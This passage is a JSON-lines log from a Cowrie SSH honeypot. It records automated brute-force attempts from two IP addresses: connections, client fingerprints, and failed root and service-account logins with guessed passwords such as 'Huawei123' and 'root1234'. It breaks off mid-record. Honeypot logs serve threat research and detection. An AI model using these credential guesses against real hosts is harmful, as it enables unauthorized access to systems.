{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:14.519809Z","src_ip":"43.134.24.11","session":"2ef1253e1b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:15.291861Z","src_ip":"43.134.24.11","session":"2ef1253e1b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:16.532567Z","src_ip":"43.134.24.11","session":"2ef1253e1b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60774,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1f82c6d72a","protocol":"ssh","message":"New connection: 43.134.24.11:60774 (10.17.0.5:22) [session: 9c1f82c6d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:19.989442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:19.993896Z","src_ip":"43.134.24.11","session":"9c1f82c6d72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:20.269268Z","src_ip":"43.134.24.11","session":"9c1f82c6d72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:21.014901Z","src_ip":"43.134.24.11","session":"9c1f82c6d72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:22.264406Z","src_ip":"43.134.24.11","session":"9c1f82c6d72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18002,"dst_ip":"10.17.0.5","dst_port":22,"session":"441a3fba19fb","protocol":"ssh","message":"New connection: 43.134.24.11:18002 (10.17.0.5:22) [session: 441a3fba19fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:25.744737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:25.755898Z","src_ip":"43.134.24.11","session":"441a3fba19fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:25.992521Z","src_ip":"43.134.24.11","session":"441a3fba19fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:26.968792Z","src_ip":"43.134.24.11","session":"441a3fba19fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:28.218649Z","src_ip":"43.134.24.11","session":"441a3fba19fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28517,"dst_ip":"10.17.0.5","dst_port":22,"session":"e879a59250e0","protocol":"ssh","message":"New connection: 43.134.24.11:28517 (10.17.0.5:22) [session: e879a59250e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:31.491617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:31.496751Z","src_ip":"43.134.24.11","session":"e879a59250e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:31.728054Z","src_ip":"43.134.24.11","session":"e879a59250e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:32.420399Z","src_ip":"43.134.24.11","session":"e879a59250e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:33.653553Z","src_ip":"43.134.24.11","session":"e879a59250e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44960,"dst_ip":"10.17.0.5","dst_port":22,"session":"6837fe626266","protocol":"ssh","message":"New connection: 43.134.24.11:44960 (10.17.0.5:22) [session: 6837fe626266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:37.414207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:37.418528Z","src_ip":"43.134.24.11","session":"6837fe626266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:37.655399Z","src_ip":"43.134.24.11","session":"6837fe626266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:38.387945Z","src_ip":"43.134.24.11","session":"6837fe626266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:39.628003Z","src_ip":"43.134.24.11","session":"6837fe626266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49472,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbd6b135a68","protocol":"ssh","message":"New connection: 43.134.24.11:49472 (10.17.0.5:22) [session: fbbd6b135a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.100435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.135652Z","src_ip":"43.134.24.11","session":"fbbd6b135a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58230,"dst_ip":"159.203.135.109","dst_port":22,"session":"457008c8eb80","protocol":"ssh","message":"New connection: 103.82.132.16:58230 (159.203.135.109:22) [session: 457008c8eb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.166342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.170542Z","src_ip":"103.82.132.16","session":"457008c8eb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.347734Z","src_ip":"43.134.24.11","session":"fbbd6b135a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:43.428994Z","src_ip":"103.82.132.16","session":"457008c8eb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nurlan","message":"login attempt [root/nurlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:44.202282Z","src_ip":"103.82.132.16","session":"457008c8eb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:44.324378Z","src_ip":"43.134.24.11","session":"fbbd6b135a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:45.463453Z","src_ip":"103.82.132.16","session":"457008c8eb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:45.577140Z","src_ip":"43.134.24.11","session":"fbbd6b135a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7290,"dst_ip":"10.17.0.5","dst_port":22,"session":"70968b6202b1","protocol":"ssh","message":"New connection: 43.134.24.11:7290 (10.17.0.5:22) [session: 70968b6202b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:48.844412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:48.849514Z","src_ip":"43.134.24.11","session":"70968b6202b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:49.096357Z","src_ip":"43.134.24.11","session":"70968b6202b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:49.836625Z","src_ip":"43.134.24.11","session":"70968b6202b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:51.086325Z","src_ip":"43.134.24.11","session":"70968b6202b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60775,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a4521d5bf24","protocol":"ssh","message":"New connection: 43.134.24.11:60775 (10.17.0.5:22) [session: 7a4521d5bf24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:54.613892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:54.618461Z","src_ip":"43.134.24.11","session":"7a4521d5bf24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 